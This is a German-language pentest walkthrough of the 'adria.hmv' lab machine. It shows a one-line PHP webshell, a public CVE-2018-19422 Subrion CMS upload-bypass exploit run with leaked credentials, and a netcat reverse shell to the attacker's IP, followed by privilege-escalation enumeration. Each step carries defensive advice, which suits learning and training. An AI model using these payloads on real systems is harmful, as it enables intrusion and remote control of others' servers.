isolinux/ks.cfg:#Root password isolinux/ks.cfg:user cscience --fullname "Coin Science" --iscrypted --password $1$cw7eQ/70$/8ZeZKBBBJPtIFdnibj/X/ preseed/master.preseed:d-i partman-crypto/passphrase password jojo1989 preseed/master.preseed:d-i partman-crypto/passphrase-again password jojo1989 preseed/master.preseed:d-i passwd/user-fullname string admin preseed/master.preseed:d-i passwd/username string admin preseed/master.preseed:d-i passwd/user-password password jojo1989 preseed/master.preseed:d-i passwd/root-login boolean true preseed/master.preseed:d-i passwd/root-password password jojo1989 preseed/master.preseed:d-i user-setup/allow-password-weak boolean true preseed/master.seed:d-i passwd/user-fullname string Adam Lewis preseed/master.seed:d-i passwd/username string alewis preseed/master.seed:# Normal user's password, either in clear text preseed/master.seed:#d-i passwd/user-password password insecure preseed/master.seed:#d-i passwd/user-password-again password insecure preseed/master.seed:d-i passwd/user-password-crypted 158f5ddb69d03f91bb449ee170913268 preseed/master.seed:d-i passwd/user-uid string 1010 preseed/master.seed:# The installer will warn about weak passwords. If you are sure you know preseed/master.seed:#d-i user-setup/allow-password-weak boolean true
Analyse: Es wird versucht, sich per SSH als Benutzer `adriana` am Ziel `adria.hmv` anzumelden. Das System fragt nach der Bestätigung des Host-Keys (da es das erste Mal ist) und dann nach dem Passwort für `adriana`. Es werden mehrere Passwörter eingegeben (wahrscheinlich das zuvor gefundene `s13!...` und eventuell `jojo1989`), aber alle Versuche scheitern mit "Permission denied".
Bewertung: Dies zeigt, dass das für SMB gefundene Passwort für `adriana` (`s13!...`) nicht für SSH gilt. Auch das Passwort `jojo1989` funktioniert für `adriana` via SSH nicht. Passwort-Wiederverwendung ist hier also (zumindest für `adriana`) nicht der Fall.
Empfehlung (Pentester): Den SSH-Login für `adriana` vorerst aufgeben. Konzentrieren auf die Benutzer `admin` und `root` mit dem Passwort `jojo1989`. Insbesondere den Web-Login (`/panel/`) für `admin` testen.
Empfehlung (Admin): Unterschiedliche Passwörter für verschiedene Dienste und Benutzer verwenden. SSH-Zugriff auf das Notwendigste beschränken (z.B. nur bestimmte Benutzer erlauben, Key-basierte Authentifizierung erzwingen).
The authenticity of host 'adria.hmv (192.168.2.110)' can't be established. ED25519 key fingerprint is SHA256:TCA/ssXFaEc0sOJl0lvYyqTVTrCpkF0wQfyj5mJsALc. This host key is known by the following other names/addresses: ~/.ssh/known_hosts:15: [hashed name] ~/.ssh/known_hosts:18: [hashed name] ~/.ssh/known_hosts:26: [hashed name] ~/.ssh/known_hosts:36: [hashed name] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'adria.hmv' (ED25519) to the list of known hosts. adriana@adria.hmv's password: Permission denied, please try again. adriana@adria.hmv's password: Permission denied, please try again. adriana@adria.hmv's password:
Analyse: Der Pentester notiert die im Preseed-File gefundenen Zugangsdaten (`admin`:`jojo1989`) und besucht die Webseite `http://adria.hmv/`. Die Webseite zeigt eine Standard-Blog-Seite des Subrion CMS mit Beispielinhalten und einem Hinweis auf den Admin-Panel-Login ("Administrator Administrator"). Es gibt auch einen Link zum Blog.
Bewertung: Die Webseite selbst scheint auf den ersten Blick keine offensichtlichen Schwachstellen zu zeigen, aber das Vorhandensein des Admin-Panels (wahrscheinlich unter `/panel/`, wie in `robots.txt` gesehen) ist der nächste logische Angriffspunkt, insbesondere mit den gefundenen Zugangsdaten `admin:jojo1989`.
Empfehlung (Pentester): Sofort versuchen, sich mit `admin:jojo1989` im Admin-Panel (`http://adria.hmv/panel/`) anzumelden. Nach erfolgreichem Login nach Funktionen suchen, die das Hochladen von Dateien, das Ausführen von Code oder das Ändern von Konfigurationen ermöglichen.
Empfehlung (Admin): Das Admin-Panel durch zusätzliche Maßnahmen schützen (z.B. IP-Whitelisting, Zwei-Faktor-Authentifizierung). Starke, einzigartige Passwörter für Admin-Konten verwenden. Das CMS und seine Plugins aktuell halten.
Anmeldetest mit gecrackten Daten: username admin password jojo1989 ___________________________________________ http://adria.hmv/ Home Subrion CMS Administrator Administrator Home Members Blog New blog posts No blogposts done yet. Be the first to post here. Blogs Archive No blogposts done yet. Be the first to post here. HTML block #1 You can change this block in admin panel. Remember, if you change template, this block will be lost. We advise you to clone this block. Ne lorem percipit efficiantur mei, ius ut simul vidisse. An vel probatus explicari appellantur. Has et comprehensam interpretaris, quo no inimicus maluisset temporibus. Ea mea quod. Blog No blogposts done yet. Be the first to post here. About CMS Subrion is a free open source content management system that allows you to build websites for any purpose. Yes, from blog to corporate mega portal. For users It's done to focus on the content management process. Start it hassle-free within just a few minutes and take care of the content. It's easy! For developers Forget the hours of programming simple things. Use Subrion framework API to add extra stuff using hooks, plugins, & packages. For designers Simple templating engine and styles allows you to create any template you wish with just a few lines of code. About Us Privacy Policy Terms of Use Help Blog © 2024 Powered by Subrion CMS
Analyse: Der Pentester bereitet eine einfache PHP-Webshell vor. * `cd /home/cyber/Downloads/`: Wechselt in das Download-Verzeichnis. * `vi shell.php`: Erstellt/Öffnet die Datei `shell.php` im Editor. * `cat shell.php`: Zeigt den Inhalt der erstellten Datei an. Die Shell ist minimal: ``. Sie nimmt einen Befehl über den URL-Parameter `cmd` entgegen und führt ihn auf dem Server aus.
Bewertung: Dies ist eine Standard-Webshell. Die nachfolgenden URLs zeigen Versuche, diese Shell (oder eine Variante davon, `avat_shell.php_.png`?) in einem Upload-Verzeichnis (`/uploads/a/admin/thumbnail/`) aufzurufen und den Befehl `id` auszuführen. Die Versuche scheitern jedoch mit einem "403 Forbidden"-Fehler. Dies deutet darauf hin, dass entweder die Datei nicht hochgeladen werden konnte, der Pfad falsch ist oder die Ausführung von PHP-Skripten in diesem Verzeichnis serverseitig unterbunden wird (z.B. durch `.htaccess`).
Empfehlung (Pentester): Die Fehlermeldung "403 Forbidden" analysieren. Prüfen, ob der Upload-Pfad korrekt ist. Untersuchen, ob es eine Dateiupload-Funktion im Admin-Panel gibt und welche Dateitypen erlaubt sind. Versuchen, Filter zu umgehen (z.B. durch doppelte Endungen, Änderung des Content-Types, Null-Byte-Injektion - obwohl letzteres bei modernen PHP-Versionen unwahrscheinlich ist).
Empfehlung (Admin): Direkten Zugriff auf Upload-Verzeichnisse unterbinden. Ausführung von Skriptsprachen in Upload-Verzeichnissen serverseitig deaktivieren (z.B. `
<?php system($GET['cmd']); ?>
http://adria.hmv/uploads/a/admin/thumbnail/shell.php?cmd=id http://adria.hmv/uploads/a/admin/thumbnail/avat_shell.php_.png http://adria.hmv/uploads/a/admin/thumbnail/'shell.php%20.png'?cmd=id http://adria.hmv/uploads/a/admin/thumbnail/shell.php?cmd=id Forbidden You don't have permission to access this resource. Apache/2.4.57 (Debian) Server at adria.hmv Port 80
Analyse: Weiterer HTML/JavaScript-Code-Schnipsel, diesmal von einer Profilseite (`intelli.pageName = 'profile'`). Es enthält denselben Security-Token und Konfigurationsvariablen wie zuvor. Es gibt auch eine Fehlermeldung in einem `div`-Container.
Bewertung: Die Fehlermeldung `Files with "gif,jpg,jpeg,png" extension are only allowed.` ist sehr aufschlussreich. Sie stammt wahrscheinlich von einer Dateiupload-Funktion (möglicherweise zum Ändern des Profilbilds/Avatars) und zeigt, dass serverseitig eine Whitelist für Dateiendungen existiert. Dies erklärt, warum der direkte Upload von `shell.php` gescheitert ist.
Empfehlung (Pentester): Die Dateiupload-Funktion im Profilbereich (oder wo immer sie gefunden wurde) genauer untersuchen. Versuchen, den Filter für Dateiendungen zu umgehen. Bekannte Schwachstellen im Subrion CMS bezüglich Dateiuploads recherchieren. Es gibt bekannte Schwachstellen (wie CVE-2018-19422), die genau solche Filter umgehen können.
Empfehlung (Admin): Sich nicht nur auf die Dateiendung verlassen. Dateitypen anhand des MIME-Typs und des magischen Bytes überprüfen. Hochgeladene Dateien serverseitig verarbeiten (z.B. Bilder neu kodieren), um eingebetteten Code zu entfernen. Berechtigungen für Upload-Verzeichnisse strikt setzen.
</script> <script> intelli.pageName = 'profile'; intelli.securityToken = 'FwqPghfbrVN2HY7SmHuzrWDfZp3BhH1ZSIa1JgZQ'; intelli.config.url = 'http://adria.hmv/'; </script> <script src="//adria.hmv/templates/kickstart/js/app.js?fm=1699254316"></script> <div class="alert alert-error"> <ul class="list-unstyled"> <li>Files with "gif,jpg,jpeg,png" extension are only allowed.</li> </ul> </div>
Analyse: Noch ein HTML-Schnipsel, der eine Erfolgsmeldung ("Saved.") und dann einen Link zum Bearbeiten des Profils sowie ein Bild des Administrators anzeigt. Das Bild wird aus dem Verzeichnis `/uploads/a/admin/thumbnail/` geladen.
Bewertung: Der Dateiname des Bildes ist interessant: `avat_shell.php__19f41.png`. Es scheint, als hätte ein früherer Versuch stattgefunden, eine PHP-Shell (`shell.php`) als Avatar hochzuladen, wobei die Datei möglicherweise umbenannt wurde, um die erlaubte `.png`-Endung zu haben. Die doppelten Unterstriche (`__`) könnten Teil des Umbenennungsmechanismus sein. Obwohl der vorherige Versuch, `shell.php` direkt auszuführen, fehlschlug, könnte die hochgeladene `.png`-Datei dennoch PHP-Code enthalten.
Empfehlung (Pentester): Überprüfen, ob die Datei `avat_shell.php__19f41.png` tatsächlich PHP-Code enthält. Wenn ja, untersuchen, ob es eine Möglichkeit gibt, diese Datei vom Server als PHP interpretieren zu lassen (z.B. durch eine Local File Inclusion (LFI)-Schwachstelle an anderer Stelle oder eine Fehlkonfiguration des Webservers, die `.png`-Dateien als PHP behandelt). Den Upload-Mechanismus weiter untersuchen, um zu verstehen, wie die Umbenennung funktioniert.
Empfehlung (Admin): Sicherstellen, dass der Webserver keine Dateien mit Bild-Endungen als Skripte ausführt. Bild-Uploads serverseitig validieren und neu kodieren, um eingebetteten Code zu entfernen.
<li>Saved.</li>
</ul>
</div>
<div class="content__body">
<div class="row">
<div class="col-md-3">
<div class="ia-item-author">
<a href="http://adria.hmv/profile/?edit" class="btn btn-default btn-sm ia-item-author__edit" title="Edit"><span class="fa fa-pencil"></span></a>
<a class="ia-item-author__image" href="http://adria.hmv/member/admin.html">
<img src="//adria.hmv/uploads/a/admin/thumbnail/avat_shell.php__19f41.png" alt="Administrator" width="120">
Analyse: Dieser Abschnitt zeigt den Titel einer Webseite ("Blog :: Powered by Subrion 4.2"), eine URL (`http://adria.hmv/blog/1-mein-hack.html`) und den Inhalt der zuvor erstellten PHP-Shell.
Bewertung: Es scheint ein Versuch zu sein, die PHP-Shell über einen Blog-Post einzuschleusen oder auszuführen. Die URL deutet darauf hin, dass ein Blog-Post mit dem Titel "mein-hack" (ID 1) existiert oder erstellt wurde. Es ist unklar, ob der PHP-Code erfolgreich im Blog-Post gespeichert und ausgeführt werden konnte.
Empfehlung (Pentester): Den Blog-Post unter der angegebenen URL aufrufen und den Quellcode untersuchen, um zu sehen, ob der PHP-Code vorhanden ist und ob er ausgeführt wird oder als reiner Text angezeigt wird. Wenn Code-Ausführung möglich ist, ist dies ein Vektor für Remote Code Execution (RCE).
Empfehlung (Admin): Eingaben in Blog-Posts und anderen benutzergenerierten Inhalten serverseitig strikt validieren und sanitisieren. HTML- und Skript-Tags filtern oder kodieren. Keine serverseitigen Skriptsprachen in Benutzerinhalten zulassen.
<title>Blog :: Powered by Subrion 4.2<
http://adria.hmv/blog/1-mein-hack.html
<?php
system($GET['cmd']);
?>
Analyse: Der Pentester hat eine bekannte Schwachstelle für Subrion CMS recherchiert: CVE-2018-19422. Diese Schwachstelle ermöglicht Remote Code Execution (RCE) durch Umgehung der Dateiupload-Filterung. Ein Exploit-Skript (`subrion.py`) von GitHub wird verwendet. * `vi subrion.py`: Das Exploit-Skript wird heruntergeladen und gespeichert (der Download selbst ist nicht gezeigt). * `chmod +x subrion.py`: Macht das Skript ausführbar. * `python3 subrion.py -u http://adria.hmv/panel/ -l admin -p jojo1989`: Führt das Exploit-Skript aus. * `-u`: URL des Admin-Panels. * `-l`: Login-Benutzername (`admin`). * `-p`: Passwort (`jojo1989`). Das Skript meldet Erfolg: Es verbindet sich, holt einen CSRF-Token, loggt sich erfolgreich ein, generiert einen zufälligen Namen für die Webshell (`vtfvazfnkflywvd`), lädt diese erfolgreich hoch (als `.phar`-Datei, um Filter zu umgehen) und gibt den Pfad zur Shell an: `http://adria.hmv/panel/uploads/vtfvazfnkflywvd.phar`. Anschließend öffnet das Skript eine interaktive Shell (`$`).
Bewertung: Dies ist der erfolgreiche Initial Access! Durch Ausnutzung von CVE-2018-19422 konnte der Dateiupload-Filter umgangen und eine Webshell auf dem Server platziert werden. Die Befehle `id`, `which nc` und `nc -e /bin/bash 192.168.2.199 4444` werden über die Webshell ausgeführt: * `id`: Zeigt, dass der Webserver als Benutzer `www-data` (UID 33) läuft. * `which nc`: Bestätigt, dass `netcat` auf dem Zielsystem unter `/usr/bin/nc` verfügbar ist. * `nc -e /bin/bash 192.168.2.199 4444`: Startet eine Reverse Shell. Es verbindet sich zurück zum Angreifer-System (IP `192.168.2.199`) auf Port `4444` und stellt eine `/bin/bash`-Shell bereit.
Empfehlung (Pentester): Die Reverse Shell stabilisieren (siehe nächste Schritte). Sofort mit der Enumeration auf dem Zielsystem als `www-data` beginnen (Betriebssystem, installierte Software, Benutzer, Berechtigungen, Netzwerkkonfiguration, laufende Prozesse, Cronjobs). Nach Möglichkeiten zur Privilegieneskalation suchen.
Empfehlung (Admin): Subrion CMS dringend auf eine gepatchte Version aktualisieren oder deaktivieren. Web Application Firewall (WAF) einsetzen, um bekannte Exploits zu blockieren. Regelmäßige Schwachstellenscans durchführen. Berechtigungen des Webserver-Benutzers (`www-data`) auf das absolute Minimum beschränken.
https://github.com/hev0x/CVE-2018-19422-SubrionCMS-RCE
[+] SubrionCMS 4.2.1 - File Upload Bypass to RCE - CVE-2018-19422 [+] Trying to connect to: http://adria.hmv/panel/ [+] Success! [+] Got CSRF token: hFHBxipXMkFfnQvJbzUMMPGjAa3lFaZ79T0gyuei [+] Trying to log in... [+] Login Successful! [+] Generating random name for Webshell... [+] Generated webshell name: vtfvazfnkflywvd [+] Trying to Upload Webshell.. [+] Upload Success... Webshell path: http://adria.hmv/panel/uploads/vtfvazfnkflywvd.phar $ id uid=33(www-data) gid=33(www-data) groups=33(www-data) $ which nc /usr/bin/nc $ nc -e /bin/bash 192.168.2.199 4444
Analyse: Auf dem Angreifer-System wird ein `netcat`-Listener gestartet, um die eingehende Reverse Shell von der Zielmaschine entgegenzunehmen. * `nc -lvnp 4444`: * `-l`: Listen-Modus. * `-v`: Verbose-Modus (zeigt mehr Informationen). * `-n`: Keine DNS-Auflösung. * `-p 4444`: Lauscht auf Port 4444. Die Ausgabe `connect to [192.168.2.199] from (UNKNOWN) [192.168.2.110] 43126` bestätigt, dass die Verbindung vom Zielsystem (`192.168.2.110`) erfolgreich aufgebaut wurde.
Bewertung: Die Reverse Shell ist aktiv. Der Angreifer hat nun eine Kommandozeile auf dem Zielsystem als Benutzer `www-data`. Dies bestätigt den erfolgreichen Initial Access und dient als Proof of Concept für die RCE-Schwachstelle.
Empfehlung (Pentester): Die Shell sofort stabilisieren, um zu verhindern, dass sie bei einem einfachen Fehler oder Strg+C abbricht. Dies geschieht typischerweise mit Python PTY, `stty raw -echo; fg`, `export TERM=xterm` und dem Anpassen der Terminalgröße (`stty rows ... cols ...`).
Empfehlung (Admin): Netzwerk-Ausgangsregeln (Egress Filtering) implementieren, um unerwünschte ausgehende Verbindungen (wie Reverse Shells) zu blockieren oder zu melden. Intrusion Detection Systeme (IDS) können versuchen, Signaturen von Reverse Shells zu erkennen.
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.110] 43126
Analyse: Diese Befehle dienen der Stabilisierung der einfachen Reverse Shell, um eine interaktivere und robustere Sitzung zu erhalten. * `which python3`: Prüft, ob Python 3 verfügbar ist. * `python3 -c 'import pty;pty.spawn("/bin/bash")'`: Startet eine pseudo-Terminal (PTY)-Sitzung mit Python. Dies ermöglicht Funktionen wie Autovervollständigung und die Verwendung von Programmen wie `su` oder `ssh`. * `export TERM=xterm`: Setzt die Terminal-Umgebungsvariable, damit Programme wie `clear` oder Texteditoren korrekt funktionieren. * `^Z` (Strg+Z): Sendet den `nc`-Listener-Prozess auf dem Angreifer-System in den Hintergrund. * `stty raw -echo; fg`: Auf dem Angreifer-System: Schaltet das lokale Terminal in den Raw-Modus (leitet Tastatureingaben direkt weiter) und holt den `nc`-Prozess wieder in den Vordergrund. * `reset`: (Optional) Kann auf der Ziel-Shell eingegeben werden, um das Terminal zurückzusetzen.
Bewertung: Dies sind Standardtechniken zur Shell-Stabilisierung. Sie verbessern die Benutzerfreundlichkeit erheblich und sind für die weitere Enumeration und Privilegieneskalation oft unerlässlich. Der Wechsel des Prompts zu `www-data@adria:/var/www/html/uploads$` zeigt, dass die PTY-Shell erfolgreich gestartet wurde.
Empfehlung (Pentester): Diese Stabilisierungsschritte sollten nach dem Erhalt einer einfachen Shell zur Routine gehören. Alternativ können Tools wie `rlwrap` verwendet werden.
Empfehlung (Admin): Die Stabilisierung selbst ist schwer zu verhindern. Die Maßnahmen konzentrieren sich auf die Verhinderung der initialen Shell (Patchen, WAF, Egress Filtering).
which python3 /usr/bin/python3 python3 -c 'import pty;pty.spawn("/bin/bash")' www-data@adria:/var/www/html/uploads$ export TERM=xterm export TERM=xterm www-data@adria:/var/www/html/uploads$ ^Z
[1] + continued nc -lvnp 4444 reset
Analyse: Weitere Schritte zur Anpassung der stabilisierten Shell und erste Enumeration als `www-data`. * `stty -a`: (Auf dem Angreifer-System) Zeigt die aktuellen Terminal-Einstellungen an, insbesondere Zeilen (`rows`) und Spalten (`columns`). * `stty rows 48 cols 94`: (Auf der Ziel-Shell) Stellt die Größe des PTYs auf die des Angreifer-Terminals ein. Dies verhindert Zeilenumbrüche an falschen Stellen. * `id`: Bestätigt erneut die Identität des Benutzers (`www-data`). * `ls -l`: Listet den Inhalt des aktuellen Verzeichnisses `/var/www/html/uploads` auf (Ausgabe nicht gezeigt).
Bewertung: Die Anpassung der Terminalgröße ist ein wichtiger Schritt für die Benutzerfreundlichkeit. Die erneute `id`-Ausführung ist redundant, schadet aber nicht. `ls -l` im Uploads-Verzeichnis könnte interessante Dateien zeigen (z.B. die hochgeladene Webshell). Der Fokus liegt nun klar auf der Privilegieneskalation.
Empfehlung (Pentester): Mit systematischer Enumeration beginnen: `uname -a`, `cat /etc/issue`, `ps aux`, `ss -tulnp`, `find / -type f -perm -4000 2>/dev/null`, `sudo -l`, Cronjobs prüfen (`cat /etc/crontab`, `/var/spool/cron/crontabs/`), installierte Pakete, Konfigurationsdateien in `/etc` und im Web-Root untersuchen.
Empfehlung (Admin): Sicherstellen, dass der Webserver-Benutzer minimale Rechte hat. Regelmäßig auf bekannte lokale Privilegieneskalations-Schwachstellen prüfen (Kernel-Exploits, SUID-Binaries, fehlerhafte sudo-Regeln, unsichere Cronjobs).
speed 38400 baud; rows 48; columns 94; line = 0;
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Analyse: Der Befehl `ss -altpn` wird auf der Zielmaschine ausgeführt. * `ss`: Ein Werkzeug zur Untersuchung von Sockets (Netzwerkverbindungen). * `-a`: Zeigt alle Sockets an (lauschende und nicht-lauschende). * `-l`: Zeigt nur lauschende Sockets an. * `-t`: Zeigt TCP-Sockets an. * `-p`: Zeigt den Prozess an, der den Socket verwendet. * `-n`: Zeigt numerische Adressen und Ports an (keine DNS- oder Service-Namen-Auflösung). Die Kombination `-altpn` listet alle lauschenden TCP-Sockets mit zugehörigen Prozessen und numerischen Ports/Adressen auf.
Bewertung: Die Ausgabe bestätigt die von Nmap gefundenen offenen Ports (22, 80, 139, 445). Zusätzlich wird Port `3306` auf `127.0.0.1` (localhost) angezeigt. Dies ist der Standardport für MySQL/MariaDB. Da er nur auf localhost lauscht, ist er nicht direkt von außen erreichbar, könnte aber von lokalen Prozessen (wie der Webanwendung) genutzt werden.
Empfehlung (Pentester): Notieren, dass eine lokale MySQL-Datenbank läuft. Nach Konfigurationsdateien der Webanwendung (Subrion CMS) suchen, die möglicherweise Datenbank-Zugangsdaten enthalten (oft in `config.php`, `database.php` o.ä.). Prüfen, ob der `www-data`-Benutzer auf diese Dateien Lesezugriff hat.
Empfehlung (Admin): Datenbanken sollten nur auf den notwendigen Interfaces lauschen (hier ist localhost korrekt, da sie vermutlich nur von der lokalen Webanwendung genutzt wird). Zugriff auf die Datenbank mit starken, einzigartigen Passwörtern absichern. Sicherstellen, dass Konfigurationsdateien mit Zugangsdaten keine unnötig offenen Berechtigungen haben.
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process LISTEN 0 80 127.0.0.1:3306 0.0.0.0:* LISTEN 0 50 0.0.0.0:445 0.0.0.0:* LISTEN 0 50 0.0.0.0:139 0.0.0.0:* LISTEN 0 128 0.0.0.0:22 0.0.0.0:* LISTEN 0 50 [::]:445 [::]:* LISTEN 0 50 [::]:139 [::]:* LISTEN 0 511 *:80 *:* LISTEN 0 128 [::]:22 [::]:*
Analyse: Es werden Benutzerinformationen gesucht und Zugriffsrechte geprüft. * `grep zsh /etc/passwd`: Sucht nach Benutzern in der Passwortdatei, deren Login-Shell auf `zsh` gesetzt ist. * `cd /home/adriana/`: Versucht, in das Home-Verzeichnis des Benutzers `adriana` zu wechseln. * `cat /etc/crontab`: Zeigt den Inhalt der System-weiten Crontab-Datei an.
Bewertung: * `grep` findet zwei Benutzer mit `zsh`: `root` und `adriana`. Dies bestätigt `adriana` als regulären Benutzer. * Der Versuch, in `/home/adriana` zu wechseln, schlägt mit "Permission denied" fehl. Der `www-data`-Benutzer hat keine Leserechte für das Home-Verzeichnis von `adriana`. * Die `/etc/crontab` zeigt nur Standard-Systemjobs (`cron.hourly`, `daily`, `weekly`, `monthly`), die als `root` laufen. Keine sofort ersichtlichen, unsicheren benutzerdefinierten Cronjobs.
Empfehlung (Pentester): Da der direkte Zugriff auf `/home/adriana` nicht möglich ist, andere Wege suchen, um an Benutzerdaten zu kommen (z.B. über die Webanwendung oder Konfigurationsdateien). Neben `/etc/crontab` auch die Verzeichnisse `/etc/cron.d/`, `/etc/cron.hourly/` (usw.) und `/var/spool/cron/crontabs/` auf benutzerdefinierte Jobs prüfen.
Empfehlung (Admin): Korrekte Berechtigungen für Home-Verzeichnisse sicherstellen (Standard ist oft `750` oder `700`). Cronjobs regelmäßig überprüfen und sicherstellen, dass sie sicher konfiguriert sind und keine unnötigen Rechte vergeben.
root:x:0:0:root:/root:/usr/bin/zsh adriana:x:1001:1001:,,,:/home/adriana:/bin/zsh
bash: cd: /home/adriana/: Permission denied
# Example of job definition: # .---------------- minute (0 - 59) # | .------------- hour (0 - 23) # | | .---------- day of month (1 - 31) # | | | .------- month (1 - 12) OR jan,feb,mar,apr ... # | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat # | | | | | # * * * * * user-name command to be executed 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; } 47 6 * * 7 root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; } 52 6 1 * * root test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; } #
Analyse: Untersuchung des `/opt`-Verzeichnisses. * `cd /opt`: Wechselt in das Verzeichnis `/opt`. * `cd backup`: Versucht, in ein Unterverzeichnis namens `backup` zu wechseln, was fehlschlägt ("Not a directory"). * `file backup`: Überprüft den Dateityp von `backup`. Es handelt sich um ein Shell-Skript. * `cat backup`: Zeigt den Inhalt des Skripts an.
Bewertung: Das Skript `/opt/backup` ist sehr interessant für die Privilegieneskalation. 1. Es liest ein Passwort aus der Datei `/root/pass`. Nur `root` hat normalerweise Leserechte auf `/root`. 2. Es fragt den Benutzer interaktiv nach einem Passwort (`read -ep "Password: " USER_PASS`). 3. Es vergleicht das eingegebene Passwort mit dem aus `/root/pass`. 4. Wenn die Passwörter übereinstimmen, führt es `zip` aus, um `/var/www/html` in `/opt/backup.zip` zu sichern. Wichtig: Es verwendet das Passwort aus `/root/pass` erneut als Passwort für das ZIP-Archiv (`-e -P "$PASSWORD"`). 5. Wenn die Passwörter nicht übereinstimmen, gibt es "Access denied" aus.
Empfehlung (Pentester): Das Skript selbst kann von `www-data` nicht direkt zur Eskalation genutzt werden, da `/root/pass` nicht lesbar ist. Aber es verrät, dass ein Passwort in `/root/pass` existiert und dass dieses Passwort auch zum Verschlüsseln von `/opt/backup.zip` verwendet wird. Wenn man dieses ZIP-Archiv später in die Hände bekommt (z.B. wenn es durch einen Cronjob erstellt oder über eine andere Schwachstelle zugänglich wird), könnte man versuchen, das Passwort des ZIP-Archivs zu knacken, um an das Root-Passwort zu gelangen. Die interaktive Passwortabfrage könnte auch für Social Engineering oder Täuschung genutzt werden, falls das Skript von einem anderen Benutzer ausgeführt wird.
Empfehlung (Admin): Passwörter niemals in Klartextdateien speichern (`/root/pass`). Wenn Passwörter in Skripten benötigt werden, sicherere Methoden wie Hashicorp Vault, Keyrings oder verschlüsselte Konfigurationsdateien verwenden. Sicherstellen, dass Skripte wie dieses keine unnötigen Informationen preisgeben und sichere Berechtigungen haben. Die Verwendung desselben Passworts für die Authentifizierung und die ZIP-Verschlüsselung ist eine schlechte Praxis.
bash: cd: backup: Not a directory
backup: Bourne-Again shell script, ASCII text executable
#!/bin/bash PASSWORD=$(/usr/bin/cat /root/pass) read -ep "Password: " USER_PASS if [[ $PASSWORD == $USER_PASS ]] ; then /usr/bin/echo "Authorized access" /usr/bin/sleep 1 /usr/bin/zip -r -e -P "$PASSWORD" /opt/backup.zip /var/www/html else /usr/bin/echo "Access denied" exit 1 fi
Analyse: Weitere Enumerationsschritte. * `mysql -u admin -p`: Versucht, sich an der lokalen MySQL-Datenbank als Benutzer `admin` anzumelden (Passwort wird abgefragt). * `find / -type f -perm -4000 -ls 2>/dev/null`: Sucht im gesamten Dateisystem (`/`) nach Dateien (`-type f`) mit gesetztem SUID-Bit (`-perm -4000`). Solche Dateien laufen mit den Rechten des Besitzers (oft `root`), unabhängig davon, wer sie startet. `-ls` gibt detaillierte Informationen aus, `2>/dev/null` unterdrückt Fehlermeldungen (z.B. bei fehlenden Leserechten).
Bewertung: * Der MySQL-Login schlägt fehl (`ERROR 1045 (28000): Access denied`). Das Passwort `jojo1989` (das vermutlich eingegeben wurde) funktioniert nicht für den MySQL-Benutzer `admin`. * Die `find`-Suche listet mehrere SUID-Binaries auf. Die meisten sind Standard (`passwd`, `sudo`, `su`, `mount`, `chsh` etc.). `gpasswd`, `newgrp`, `chfn`, `umount`, `pppd`, `dbus-daemon-launch-helper`, `ssh-keysign`, `polkit-agent-helper-1` sind ebenfalls oft standardmäßig SUID, aber weniger häufig für Exploits genutzt als die ersteren. Es gibt keine offensichtlich ungewöhnlichen oder benutzerdefinierten SUID-Dateien, die sofort ins Auge springen.
Empfehlung (Pentester): Die Suche nach Datenbank-Credentials in den Web-Konfigurationsdateien fortsetzen. Die gefundenen SUID-Binaries im Hinterkopf behalten. Obwohl keine ungewöhnlichen dabei sind, können auch Standard-Binaries manchmal über bekannte Schwachstellen oder Fehlkonfigurationen zur Privilegieneskalation missbraucht werden (siehe GTFOBins).
Empfehlung (Admin): Unnötige SUID-Bits entfernen. Das SUID-Bit sollte nur gesetzt sein, wenn es absolut notwendig ist. Systeme regelmäßig auf bekannte SUID-Exploits patchen. Starke, einzigartige Passwörter für Datenbankbenutzer verwenden.
Enter password:
ERROR 1045 (28000): Access denied for user 'admin'@'localhost' (using password: YES)
914041 88 -rwsr-xr-x 1 root root 88496 Mar 23 2023 /usr/bin/gpasswd 914042 68 -rwsr-xr-x 1 root root 68248 Mar 23 2023 /usr/bin/passwd 953599 276 -rwsr-xr-x 1 root root 281624 Jun 27 2023 /usr/bin/sudo 917500 48 -rwsr-xr-x 1 root root 48896 Mar 23 2023 /usr/bin/newgrp 914039 52 -rwsr-xr-x 1 root root 52880 Mar 23 2023 /usr/bin/chsh 918251 72 -rwsr-xr-x 1 root root 72000 Mar 23 2023 /usr/bin/su 917654 60 -rwsr-xr-x 1 root root 59704 Mar 23 2023 /usr/bin/mount 914038 64 -rwsr-xr-x 1 root root 62672 Mar 23 2023 /usr/bin/chfn 917656 36 -rwsr-xr-x 1 root root 35128 Mar 23 2023 /usr/bin/umount 953128 396 -rwsr-xr-- 1 root dip 403832 May 14 2022 /usr/sbin/pppd 929606 52 -rwsr-xr-- 1 root messagebus 51272 Feb 8 2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 931821 640 -rwsr-xr-x 1 root root 653888 Feb 8 2023 /usr/lib/openssh/ssh-keysign 1046954 20 -rwsr-xr-x 1 root root 18664 Jan 31 2023 /usr/lib/polkit-1/polkit-agent-helper-1
Analyse: `getcap -r / 2>/dev/null` sucht rekursiv im gesamten Dateisystem nach Dateien mit gesetzten Linux Capabilities. Capabilities sind eine feingranularere Methode zur Rechteverwaltung als SUID/SGID. Sie erlauben Prozessen bestimmte privilegierte Aktionen, ohne volle Root-Rechte zu benötigen.
Bewertung: Die Ausgabe zeigt nur zwei Dateien mit Capabilities: * `/usr/bin/ping`: Hat `cap_net_raw=ep`. Dies ist Standard und erlaubt `ping`, rohe Netzwerk-Sockets zu erstellen. * `/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper`: Hat `cap_net_bind_service,cap_net_admin=ep`. Dies ist ebenfalls oft Standard für Precision Time Protocol (PTP)-Helfer. Keine der gefundenen Capabilities scheint auf den ersten Blick für eine Privilegieneskalation missbrauchbar zu sein.
Empfehlung (Pentester): Capabilities sind ein weiterer wichtiger Punkt bei der Linux-Privilegieneskalations-Enumeration. Auch wenn hier nichts Offensichtliches gefunden wurde, sollte man immer danach suchen. GTFOBins listet auch bekannte Exploits für Capabilities auf.
